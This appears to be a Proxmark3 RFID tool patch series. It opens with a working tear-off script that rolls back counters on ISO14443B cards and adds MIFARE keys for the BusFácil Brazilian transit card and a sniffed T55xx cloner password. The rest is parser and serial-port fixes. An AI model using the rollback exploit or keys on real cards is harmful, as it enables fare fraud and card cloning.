print(f"{colors.bold}Writing :{colors.reset}" + f" {''.join(map(str,int_to_slist(target - 2)))}") + sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 2)))}") + read_back = slist_to_int( + sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl)) + + set_space(0) + + +def strat_1_values(original_value): + """return payload and trigger value depending on original_value + follow strategy 1 rules + + Args: + original_value: starting value before exploit + + Returns: + (payload_value, trigger_value) if possible + None otherwise + """ + high1bound = 30 + + # Check for leverageable bits positions, + # Start from bit 32, while their is no bit at 1 decrement position + while ((original_value & (0b11 << high1bound)) != (0b11 << high1bound)): + high1bound -= 1 + if high1bound < 1: + # No bits can be used as leverage + return None + + low1bound = high1bound + + # We found a suitable pair of bits at 1, + # While their is bits at 1, decrement position + while ((original_value & (0b11 << low1bound)) == (0b11 << low1bound)): + low1bound -= 1 + if low1bound < 1: + # No bits can be reset + return None + + trigger_value = (0b01 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1) + payload_value = (0b10 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1) + + return (trigger_value, payload_value) + + +def strat_2_values(original_value): + """return payload and trigger value depending on original_value + follow strategy 2 rules + + Args: + original_value: starting value before exploit + + Returns: + (payload_value, trigger_value) if possible + None otherwise + """ + high1bound = 31 + + # Check for leverageable bit position, + # Start from bit 32, while their is no bit at 1 decrement position + while not (original_value & (0b1 << high1bound)): + high1bound -= 1 + if high1bound < 1: + # No bits can be used as leverage + return None + + low1bound = high1bound + + # We found a suitable bit at 1, + # While their is bits at 1, decrement position + while (original_value & (0b1 << low1bound)): + low1bound -= 1 + if low1bound < 1: + # No bits can be reset + return None + + trigger_value = (0b1 << (low1bound + 1)) ^ (2**(high1bound + 1) - 1) + payload_value = trigger_value ^ (2**min(low1bound, 4) - 1) + + return (trigger_value, payload_value) + + +def tear_for_fears(b_num, strategy): + """try to roll back `b_num` counter using `strategy` + + Args: + b_num: block number + """ + + ################################################################ + ######### You may want to play with theses parameters ######### + start_taring_delay = 130 + + repeat_read = 8 + repeat_write = 5 + + sleep_quick = 0 + sleep_long = 0.3 + ################################################################ + + cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}" + + print(f"UID: { ''.join(map(str,sub_com('hf 14b info ', parse_UID)))}\n") + + tmp = ponderated_read(b_num, repeat_read, sleep_long) + original_value = max(tmp, key=tmp.get) + + if strategy == 1: + leverageable_values = strat_1_values(original_value) + else: + leverageable_values = strat_2_values(original_value) + + if leverageable_values is None: + print( + f"\n{colors.bold}No bits usable for leverage{colors.reset}\n" + f"Current value : {''.join(map(str,int_to_slist(original_value)))}" + f" : { bin(original_value)[2:].zfill(32)}") + return + + else: + (trigger_value, payload_value) = leverageable_values + + print(f"Initial Value : {''.join(map(str,int_to_slist(original_value)))}" + f" : { bin(original_value)[2:].zfill(32)}") + print(f"Trigger Value : {''.join(map(str,int_to_slist(trigger_value)))}" + f" : { bin(trigger_value)[2:].zfill(32)}") + print(f"Payload Value : {''.join(map(str,int_to_slist(payload_value)))}" + f" : { bin(payload_value)[2:].zfill(32)}\n") + + print( + f"{colors.bold}Color coding :{colors.reset}\n" + f"{colors.reset}\tValue we started with{colors.reset}\n" + f"{colors.green}\tTarget value (trigger|payload){colors.reset}\n" + f"{colors.lightblue}\tBelow target value (trigger|payload){colors.reset}\n" + f"{colors.lightred}\tAbove target value (trigger|payload){colors.reset}\n" + f"{colors.purple}\tAbove initial value {colors.reset}") + + if input(f"\n{colors.bold}Good ? Y/n : {colors.reset}") == "n": + return + + trigger_flag = False + payload_flag = False + t4fears_flag = False + + print(f"\n{colors.bold}Write and tear trigger value : {colors.reset}" + f"{''.join(map(str,int_to_slist(trigger_value)))}\n") + + tear_us = start_taring_delay + + while not trigger_flag: + + for _ in range(repeat_write): + + if t4fears_flag: + exploit_weak_bit(b_num, original_value, repeat_read, + sleep_long) + + if trigger_flag: + break + + sub_com( + f"hw tearoff --delay {tear_us} --on ; " + f"{cmd_wrb}{''.join(map(str, int_to_slist(trigger_value)))}") + + preamb = f"Tear timing = {tear_us:02d} us : " + print(preamb, end="") + + trigger_flag = True + + for value, occur in ponderated_read(b_num, repeat_read, + sleep_quick).items(): + + indic = colors.reset + # Here we want 100% chance of having primed one sub-counter + # The logic is inverted for payload + if value > original_value: + indic = colors.purple + t4fears_flag = True + trigger_flag = False + + elif value == trigger_value: + indic = colors.green + + elif value < original_value: + indic = colors.lightblue + + else: + trigger_flag = False + + print( + f"{(occur / repeat_read) * 100:3.0f} %" + f" : {indic}{''.join(map(str,int_to_slist(value)))}" + f"{colors.reset} : {indic}" + f"{str(bin(value))[2:].zfill(32)}{colors.reset}", + end=f"\n{' ' * len(preamb)}") + + print() + + tear_us += 1 + + print(f"\n{colors.bold}Write and tear payload value : {colors.reset}" + f"{''.join(map(str,int_to_slist(payload_value)))}\n") + + tear_us = start_taring_delay + + while True: + + for _ in range(repeat_write): + + if payload_flag: + + exploit_weak_bit(b_num, original_value, repeat_read, + sleep_long) + + tmp = ponderated_read(b_num, repeat_read, sleep_long) + if max(tmp, key=tmp.get) > original_value: + print(f"{colors.bold}Success ! {colors.reset}") + return + else: + payload_flag = False + + sub_com( + f"hw tearoff --delay {tear_us} --on ; " + f"{cmd_wrb}{''.join(map(str, int_to_slist(payload_value)))}") + + preamb = f"Tear timing = {tear_us:02d} us : " + print(preamb, end="") + + for value, occur in ponderated_read(b_num, repeat_read, + sleep_quick).items(): + + indic = colors.reset + + if value > original_value: + indic = colors.purple + payload_flag = True + + elif value == payload_value: + indic = colors.green + payload_flag = True + + elif value < trigger_value: + indic = colors.lightblue + + elif value > trigger_value: + indic = colors.lightred + + print( + f"{(occur / repeat_read) * 100:3.0f} %" + f" : {indic}{''.join(map(str,int_to_slist(value)))}" + f"{colors.reset} : {indic}" + f"{str(bin(value))[2:].zfill(32)}{colors.reset}", + end=f"\n{' ' * len(preamb)}") + + print() + + tear_us += 1 + + +if __name__ == "__main__": + main() From 167151afa61b0b4439f1ed1b68344acf7643d1c3 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Tiago=20Esperan=C3=A7a=20Triques?= Date: Thu, 6 Jun 2024 14:27:58 -0300 Subject: [PATCH 109/157] Updated mfc_default_keys MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Keys from BusFácil card (Brazilian bus company) --- client/dictionaries/mfc_default_keys.dic | 29 ++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/client/dictionaries/mfc_default_keys.dic b/client/dictionaries/mfc_default_keys.dic index 5856c598c..50cefc0f0 100644 --- a/client/dictionaries/mfc_default_keys.dic +++ b/client/dictionaries/mfc_default_keys.dic @@ -2453,3 +2453,32 @@ FAB943906E9C # R.A.T.T transport card key A/B AA034F342A55 456776908C48 + +# BusFacil - Brazilian public transport card for some cities +7b296f353c6b +3fa7217ec575 +fae9b14365a9 +c567dd4a6004 +c567dd4a6005 +c567dd4a6006 +c567dd4a6007 +c567dd4a6008 +c567dd4a6009 +c567dd4a600a +c567dd4a600d +c567dd4a600e +c567dd4a600f +5ef014ec5d7f +5086052022ac +bd6af9754c18 +5d67d4732a7d +17fe45604a04 +17fe45604a05 +17fe45604a06 +17fe45604a07 +17fe45604a08 +17fe45604a09 +17fe45604a0a +17fe45604a0d +17fe45604a0e +17fe45604a0f From 4d4b2cb15363c80fd81d8466c6c8660175c2a1d6 Mon Sep 17 00:00:00 2001 From: David Beauchamp Date: Fri, 7 Jun 2024 10:19:09 -0400 Subject: [PATCH 110/157] Add new t55xx password sniffed from cheap cloner --- client/dictionaries/t55xx_default_pwds.dic | 2 ++ 1 file changed, 2 insertions(+) diff --git a/client/dictionaries/t55xx_default_pwds.dic b/client/dictionaries/t55xx_default_pwds.dic index 941826cc8..570264306 100644 --- a/client/dictionaries/t55xx_default_pwds.dic +++ b/client/dictionaries/t55xx_default_pwds.dic @@ -5,6 +5,8 @@ 51243648 000D8787 19920427 +# White Chinese cloner, circa 2019, firmware v5.04.16.0727 (eBay) +002BCFCF # ZX-copy3 T55xx / EM4305 # ref. http://www.proxmark.org/forum/viewtopic.php?pid=40662#p40662 # default PROX From 46c85b41e96c52343c04fb261784bf134242d20a Mon Sep 17 00:00:00 2001 From: David Beauchamp Date: Fri, 7 Jun 2024 11:39:47 -0400 Subject: [PATCH 111/157] Added new t55xx password (002BCFCF) sniffed from cheap cloner --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 7ee87196e..56dba3d3c 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,7 @@ This project uses the changelog in accordance with [keepchangelog](http://keepac ## [unreleased][unreleased] - Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier +- Added new t55xx password (002BCFCF) sniffed from cheap cloner (@davidbeauchamp) ## [Aurora.4.18589][2024-05-28] - Fixed the pm3 regressiontests for Hitag2Crack (@iceman1001) From 0b54d146f47cca5b5e280fd69b9d813283e1ec34 Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Sun, 9 Jun 2024 20:02:31 +0200 Subject: [PATCH 112/157] Update intertic.py to try to parse Date & Time from UsageData in Reims Signed-off-by: Benjamin DELPY --- client/pyscripts/intertic.py | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/client/pyscripts/intertic.py b/client/pyscripts/intertic.py index bbd3e8bb9..a47f338de 100644 --- a/client/pyscripts/intertic.py +++ b/client/pyscripts/intertic.py @@ -271,7 +271,7 @@ def main(): if (s is not None): print(' ~ Authority & Provider ~ :', s) print(' ContractTariff :', ContractTariff); - print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d'))); + print(' ContractMediumEndDate : {} ({} - may be adjusted...)'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d'))); print(' left... :', Distribution_left); print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32))) @@ -287,6 +287,21 @@ def main(): print(' left... :', Usage_left); print(' [CER] Usage : {:04x}'.format(Usage_Cer.nom(16))) + if PID == 0x06 and CountryCode == 0x250 and OrganizationalAuthority == 0x078 and ContractProvider == 4: # Only for FRA - Reims here, it seems date adjust is +4 + DateAdjust = 4 + print() + print(' USAGE Parsing test') + + print(' unk0... :', Usage_Data.nom_bits(54)); + EventValidityTimeFirstStamp = Usage_Data.nom(11) + print(' EventValidityTimeFirstStamp : {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' unk1... :', Usage_Data.nom_bits(31)); + EventDateStamp = Usage_Data.nom(10) + print(' EventDateStamp : {} ({} - may be adjusted...)'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp + DateAdjust)).strftime('%Y-%m-%d'))); + EventTimeStamp = Usage_Data.nom(11) + print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' unk2... :', Usage_Data.nom_bits(23)); + return 0 From 4bd41d3acf9b9a8bee9e2a1033f675eb27378d90 Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Mon, 10 Jun 2024 23:26:38 +0200 Subject: [PATCH 113/157] Fix a lots of parsing errors Signed-off-by: Benjamin DELPY --- client/pyscripts/intertic.py | 331 +++++++++++++++++++---------------- 1 file changed, 183 insertions(+), 148 deletions(-) diff --git a/client/pyscripts/intertic.py b/client/pyscripts/intertic.py index a47f338de..bd1582b36 100644 --- a/client/pyscripts/intertic.py +++ b/client/pyscripts/intertic.py @@ -21,10 +21,14 @@ import sys, os from datetime import datetime, timedelta from bitarray import bitarray from bitarray.util import ba2int +from typing import NamedTuple class BitMe: def __init__(self): - self.data = bitarray() + self.data = bitarray(endian = 'big') + self.idx = 0 + + def reset(self): self.idx = 0 def addBits(self, bits): @@ -47,62 +51,130 @@ class BitMe: def isEmpty(self): return (len(self.data) == 0) +''' +A generic Describe_Usage function with variable number of bits between stamps will be more optimal +At this time I want to keep more places/functions to try to parse other fields in 'unk1' and 'left' +''' +def Describe_Usage_1(Usage, ContractMediumEndDate, Certificate): + EventDateStamp = Usage.nom(10) + EventTimeStamp = Usage.nom(11) + unk = Usage.nom_bits(65) + EventValidityTimeFirstStamp = Usage.nom(11) + + print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' unk1... :', unk); + print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' left... :', Usage.nom_bits_left()); + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + +def Describe_Usage_2(Usage, ContractMediumEndDate, Certificate): + EventDateStamp = Usage.nom(10) + EventTimeStamp = Usage.nom(11) + unk = Usage.nom_bits(49) + EventValidityTimeFirstStamp = Usage.nom(11) + + print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' unk1... :', unk); + print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' left... :', Usage.nom_bits_left()); + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + +def Describe_Usage_3(Usage, ContractMediumEndDate, Certificate): + EventDateStamp = Usage.nom(10) + EventTimeStamp = Usage.nom(11) + unk = Usage.nom_bits(27) + EventValidityTimeFirstStamp = Usage.nom(11) + + print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' unk1... :', unk); + print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' left... :', Usage.nom_bits_left()); + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + +def Describe_Usage_4(Usage, ContractMediumEndDate, Certificate): + EventDateStamp = Usage.nom(10) + EventTimeStamp = Usage.nom(11) + unk = Usage.nom_bits(63) + EventValidityTimeFirstStamp = Usage.nom(11) + + print(' EventDateStamp : {} ({})'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp)).strftime('%Y-%m-%d'))); + print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) + print(' unk1... :', unk); + print(' EventValidityTimeFirstStamp: {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) + print(' left... :', Usage.nom_bits_left()); + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + +def Describe_Usage_Generic(Usage, ContractMediumEndDate, Certificate): + print(' !!! GENERIC DUMP - please provide full file dump to benjamin@gentilkiwi.com - especially if NOT empty !!!') + print(' left... :', Usage.nom_bits_left()); + print(' [CER] Usage : {:04x}'.format(Certificate.nom(16))) + print(' !!! Trying Usage_1 (the most common) !!!') + Usage.reset() + Certificate.reset() + Describe_Usage_1(Usage, ContractMediumEndDate, Certificate) + +class InterticHelper(NamedTuple): + OrganizationalAuthority: str + ContractProvider: str + UsageDescribeFunction: callable = None ISO_Countries = { 0x250: 'France', } - FRA_OrganizationalAuthority_Contract_Provider = { 0x000: { - 5: 'Lille (Ilévia / Keolis)', - 7: 'Lens-Béthune (Tadao / Transdev)', + 5: InterticHelper('Lille', 'Ilévia / Keolis', Describe_Usage_1), + 7: InterticHelper('Lens-Béthune', 'Tadao / Transdev', Describe_Usage_1), }, 0x006: { - 1: 'Amiens (Ametis / Keolis)', + 1: InterticHelper('Amiens', 'Ametis / Keolis'), }, 0x008: { - 15: 'Angoulême (STGA)', + 15: InterticHelper('Angoulême', 'STGA', Describe_Usage_1), }, 0x021: { - 1: 'Bordeaux (TBM / Keolis)', + 1: InterticHelper('Bordeaux', 'TBM / Keolis', Describe_Usage_1), }, 0x057: { - 1: 'Lyon (TCL / Keolis)', + 1: InterticHelper('Lyon', 'TCL / Keolis', Describe_Usage_1), }, 0x072: { - 1: 'Tours (filbleu / Keolis)', + 1: InterticHelper('Tours', 'filbleu / Keolis', Describe_Usage_1), }, 0x078: { - 4: 'Reims (Citura / Transdev)', + 4: InterticHelper('Reims', 'Citura / Transdev', Describe_Usage_1), }, 0x091: { - 1: 'Strasbourg (CTS)', + 1: InterticHelper('Strasbourg', 'CTS', Describe_Usage_4), }, 0x502: { - 83: 'Annecy (Sibra)', - 10: 'Clermont-Ferrand (T2C)', + 83: InterticHelper('Annecy', 'Sibra', Describe_Usage_2), + 10: InterticHelper('Clermont-Ferrand', 'T2C'), }, 0x907: { - 1: 'Dijon (Divia / Keolis)', + 1: InterticHelper('Dijon', 'Divia / Keolis'), }, 0x908: { - 1: 'Rennes (STAR / Keolis)', - 8: 'Saint-Malo (MAT / RATP)', + 1: InterticHelper('Rennes', 'STAR / Keolis', Describe_Usage_2), + 8: InterticHelper('Saint-Malo', 'MAT / RATP'), }, 0x911: { - 5: 'Besançon (Ginko / Keolis)', + 5: InterticHelper('Besançon', 'Ginko / Keolis'), }, 0x912: { - 3: 'Le Havre (Lia / Transdev)', - 35: 'Cherbourg-en-Cotentin (Cap Cotentin / Transdev)', + 3: InterticHelper('Le Havre', 'Lia / Transdev', Describe_Usage_1), + 35: InterticHelper('Cherbourg-en-Cotentin', 'Cap Cotentin / Transdev'), }, 0x913: { - 3: 'Nîmes (Tango / Transdev)', + 3: InterticHelper('Nîmes', 'Tango / Transdev', Describe_Usage_3), }, 0x917: { - 4: 'Angers (Irigo / RATP)', - 7: 'Saint-Nazaire (Stran)', + 4: InterticHelper('Angers', 'Irigo / RATP', Describe_Usage_1), + 7: InterticHelper('Saint-Nazaire', 'Stran'), }, } @@ -136,129 +208,88 @@ def main(): if not chunk: break data.addBytes(chunk[::-1]) - + file.close() - SystemArea = BitMe() Distribution_Data = BitMe() - C1 = BitMe() - C2 = BitMe() - Usage_Sta_B = BitMe() - Usage_Sta_E = BitMe() - Usage_Data = BitMe() - Usage_Cer = BitMe() + Block0Left = BitMe() + # Usage_DAT = BitMe() + # Usage_CER = BitMe() + Usage_A_DAT = BitMe() + Usage_A_CER = BitMe() + Usage_B_DAT = BitMe() + Usage_B_CER = BitMe() Distribution_Cer = BitMe() + SWAP = None + RELOADING1 = None + COUNTER1 = None + # RELOADING2 = None + # COUNTER2 = None + Describe_Usage = None - Distribution_Data_End = data.nom_bits(24) - SystemArea.addBits(data.nom_bits(8)) - - PID = SystemArea.nom(5) - bIsFlipFlop = PID & 0x10 - KeyId = SystemArea.nom(3) - - print() - print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, bIsFlipFlop)); - print('KeyId :', hex(KeyId)); + Block0Left.addBits(data.nom_bits(23)) + KeyId = data.nom(4) + PID = data.nom(5) match PID: - - case 0x02: - Distribution_Data.addBits(data.nom_bits(3 * 32)) - Usage_Data_End = data.nom_bits(30) - Usage_Sta_B.addBits(data.nom_bits(2)) - C1.addBits(data.nom_bits(32)) - C2.addBits(data.nom_bits(32)) - Usage_Data.addBits(data.nom_bits(7 * 32)) - Usage_Data.addBits(Usage_Data_End) - Usage_Data.addBits(data.nom_bits(14)) - Usage_Sta_E.addBits(data.nom_bits(2)) - Usage_Cer.addBits(data.nom_bits(16)) + + case 0x10: + Distribution_Data.addBits(data.nom_bits(2 * 32)) + Distribution_Data.addBits(Block0Left.nom_bits_left()) + Usage_A_DAT.addBits(data.nom_bits(2 * 32)) + RELOADING1 = data.nom(8) + COUNTER1 = data.nom(24) + SWAP = data.nom(32) + Usage_A_DAT.addBits(data.nom_bits(2 * 32)) + Usage_A_DAT.addBits(data.nom_bits(16)) + Usage_A_CER.addBits(data.nom_bits(16)) + Usage_B_DAT.addBits(data.nom_bits(4 * 32)) + Usage_B_DAT.addBits(data.nom_bits(16)) + Usage_B_CER.addBits(data.nom_bits(16)) Distribution_Cer.addBits(data.nom_bits(32)) - case 0x06: + case 0x11 | 0x19: Distribution_Data.addBits(data.nom_bits(4 * 32)) - C1.addBits(data.nom_bits(32)) - C2.addBits(data.nom_bits(32)) - Distribution_Data.addBits(data.nom_bits(3 * 32)) - Distribution_Data.addBits(Distribution_Data_End) - Usage_Data_End = data.nom_bits(30) - Usage_Sta_B.addBits(data.nom_bits(2)) - Usage_Data.addBits(data.nom_bits(3 * 32)) - Usage_Data.addBits(Usage_Data_End) - Usage_Data.addBits(data.nom_bits(14)) - Usage_Sta_E.addBits(data.nom_bits(2)) - Usage_Cer.addBits(data.nom_bits(16)) + Distribution_Data.addBits(Block0Left.nom_bits_left()) + RELOADING1 = data.nom(8) + COUNTER1 = data.nom(24) + SWAP = data.nom(32) + Usage_A_DAT.addBits(data.nom_bits(3 * 32)) + Usage_A_DAT.addBits(data.nom_bits(16)) + Usage_A_CER.addBits(data.nom_bits(16)) + Usage_B_DAT.addBits(data.nom_bits(3 * 32)) + Usage_B_DAT.addBits(data.nom_bits(16)) + Usage_B_CER.addBits(data.nom_bits(16)) Distribution_Cer.addBits(data.nom_bits(32)) - - case 0x07: - Distribution_Data.addBits(data.nom_bits(4 * 32)) - C1.addBits(data.nom_bits(32)) - C2.addBits(data.nom_bits(32)) - Distribution_Data.addBits(data.nom_bits(4 * 32)) - Distribution_Data.addBits(Distribution_Data_End) - Usage_Data_End = data.nom_bits(30) - Usage_Sta_B.addBits(data.nom_bits(2)) - Usage_Data.addBits(data.nom_bits(3 * 32)) - Usage_Data.addBits(Usage_Data_End) - Usage_Data.addBits(data.nom_bits(14)) - Usage_Sta_E.addBits(data.nom_bits(2)) - Usage_Cer.addBits(data.nom_bits(16)) - Distribution_Cer.addBits(data.nom_bits(32)) - - case 0x0a: - Distribution_Data.addBits(data.nom_bits(4 * 32)) - C1.addBits(data.nom_bits(32)) - C2.addBits(data.nom_bits(32)) - Distribution_Data.addBits(data.nom_bits(8 * 32)) - Distribution_Data.addBits(Distribution_Data_End) - Distribution_Cer.addBits(data.nom_bits(32)) - # No USAGE for 0x0a - - case 0x0b: # Not in the draft :( - Distribution_Data.addBits(data.nom_bits(4 * 32)) - C1.addBits(data.nom_bits(32)) - C2.addBits(data.nom_bits(32)) - Distribution_Data.addBits(data.nom_bits(8 * 32)) - Distribution_Data.addBits(Distribution_Data_End) - Distribution_Cer.addBits(data.nom_bits(32)) - + case _: - print('PID not (yet?) supported') + print('PID not (yet?) supported: 0x{:02x}'.format(PID)) return 3 + + print('PID (product): 0x{:02x} (flipflop?: {})'.format(PID, (PID & 0x10) != 0)); + print('KeyId : 0x{:1x}'.format(KeyId)) + print() + ''' DISTRIBUTION ------------ Not very well documented but seems standard for this part ''' - - ContractNetworkId = Distribution_Data.nom_bits(24) - CountryCode = ba2int(ContractNetworkId[0:0+12]) - OrganizationalAuthority = ba2int(ContractNetworkId[12:12+12]) - - ContractApplicationVersionNumber = Distribution_Data.nom(6) - ContractProvider = Distribution_Data.nom(8) - ContractTariff = Distribution_Data.nom(16) - ContractMediumEndDate = Distribution_Data.nom(14) - - Distribution_left = Distribution_Data.nom_bits_left() - - RELOADING1 = C1.nom(8) - COUNTER1 = C1.nom(24) - RELOADING2 = C2.nom(8) - COUNTER2 = C2.nom(24) - - ''' - USAGE - ----- - No documentation about Usage - All is left - ''' - Usage_left = Usage_Data.nom_bits_left() - if not Distribution_Data.isEmpty(): - print() + + ContractNetworkId = Distribution_Data.nom_bits(24) + CountryCode = ba2int(ContractNetworkId[0:0+12]) + OrganizationalAuthority = ba2int(ContractNetworkId[12:12+12]) + + ContractApplicationVersionNumber = Distribution_Data.nom(6) + ContractProvider = Distribution_Data.nom(8) + ContractTariff = Distribution_Data.nom(16) + ContractMediumEndDate = Distribution_Data.nom(14) + + Distribution_left = Distribution_Data.nom_bits_left() + print('DISTRIBUTION') print(' CountryCode : {:03x} - {}'.format(CountryCode, ISO_Countries.get(CountryCode, '?'))); print(' OrganizationalAuthority : {:03x}'.format(OrganizationalAuthority)); @@ -269,38 +300,42 @@ def main(): if (oa is not None): s = oa.get(ContractProvider) if (s is not None): - print(' ~ Authority & Provider ~ :', s) + print(' ~ Authority & Provider ~ : {} ({})'.format(s.OrganizationalAuthority, s.ContractProvider)) + Describe_Usage = s.UsageDescribeFunction print(' ContractTariff :', ContractTariff); - print(' ContractMediumEndDate : {} ({} - may be adjusted...)'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d'))); + print(' ContractMediumEndDate : {} ({})'.format(ContractMediumEndDate, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate)).strftime('%Y-%m-%d'))); print(' left... :', Distribution_left); print(' [CER] Distribution : {:08x}'.format(Distribution_Cer.nom(32))) - - print() - print('COUNTER') - print(' [1] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER1, RELOADING1)) - print(' [2] Counter: 0x{:06x} - Reloading available 0x{:02x}'.format(COUNTER2, RELOADING2)) - - if not Usage_Data.isEmpty(): print() - print('USAGE') - print(' left... :', Usage_left); - print(' [CER] Usage : {:04x}'.format(Usage_Cer.nom(16))) + if(Describe_Usage is None): + Describe_Usage = Describe_Usage_Generic + + if COUNTER1 is not None: + print('[1] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER1, RELOADING1)) + # if COUNTER2 is not None: + # print('[2] Counter: 0x{:06x} - Reloading available: 0x{:02x}'.format(COUNTER2, RELOADING2)) + if SWAP is not None: + print('[S] SWAP : 0x{:08x} - last usage on USAGE_{}'.format(SWAP, 'B' if SWAP & 0b1 else 'A')) - if PID == 0x06 and CountryCode == 0x250 and OrganizationalAuthority == 0x078 and ContractProvider == 4: # Only for FRA - Reims here, it seems date adjust is +4 - DateAdjust = 4 + + ''' + USAGE + ----- + No real documentation about Usage + Nearly all is left... - did not seen implementation with 2 counters or 1 Usage + ''' + + if not Usage_A_DAT.isEmpty(): print() - print(' USAGE Parsing test') + print('USAGE_A') + Describe_Usage(Usage_A_DAT, ContractMediumEndDate, Usage_A_CER) - print(' unk0... :', Usage_Data.nom_bits(54)); - EventValidityTimeFirstStamp = Usage_Data.nom(11) - print(' EventValidityTimeFirstStamp : {} ({:02d}:{:02d})'. format(EventValidityTimeFirstStamp, EventValidityTimeFirstStamp // 60, EventValidityTimeFirstStamp % 60)) - print(' unk1... :', Usage_Data.nom_bits(31)); - EventDateStamp = Usage_Data.nom(10) - print(' EventDateStamp : {} ({} - may be adjusted...)'.format(EventDateStamp, (datetime(1997, 1, 1) + timedelta(days = ContractMediumEndDate - EventDateStamp + DateAdjust)).strftime('%Y-%m-%d'))); - EventTimeStamp = Usage_Data.nom(11) - print(' EventTimeStamp : {} ({:02d}:{:02d})'. format(EventTimeStamp, EventTimeStamp // 60, EventTimeStamp % 60)) - print(' unk2... :', Usage_Data.nom_bits(23)); + if not Usage_B_DAT.isEmpty(): + print() + print('USAGE_B') + Describe_Usage(Usage_B_DAT, ContractMediumEndDate, Usage_B_CER) + return 0 From 3e1bd8f50a71b42021f75f5a89dbd5ba9c247fe3 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Tue, 11 Jun 2024 14:32:35 +0200 Subject: [PATCH 114/157] the BT serial port setup on Windows didnt work properly. By adding the baud rate in the new termios settings the issue seem to be fixed. Also added some extra flushing calls and some more configuration settings for chars. --- CHANGELOG.md | 2 ++ client/src/comms.c | 23 ++++++++++++++++++++--- client/src/uart/uart_posix.c | 27 ++++++++++++++++++++++++--- 3 files changed, 46 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 56dba3d3c..fbc7d0d93 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Fixed BT serial comms (@iceman1001) +- Changed `intertic.py` - updated and code clean up (@gentilkiwi) - Added `pm3_tears_for_fears.py` - a ISO14443b tear off script by Pierre Granier - Added new t55xx password (002BCFCF) sniffed from cheap cloner (@davidbeauchamp) diff --git a/client/src/comms.c b/client/src/comms.c index 90493dae0..091f51d86 100644 --- a/client/src/comms.c +++ b/client/src/comms.c @@ -161,8 +161,9 @@ static void SendCommandNG_internal(uint16_t cmd, uint8_t *data, size_t len, bool txBufferNG.pre.ng = ng; txBufferNG.pre.length = len; txBufferNG.pre.cmd = cmd; - if (len > 0 && data) + if (len > 0 && data) { memcpy(&txBufferNG.data, data, len); + } if ((g_conn.send_via_fpc_usart && g_conn.send_with_crc_on_fpc) || ((!g_conn.send_via_fpc_usart) && 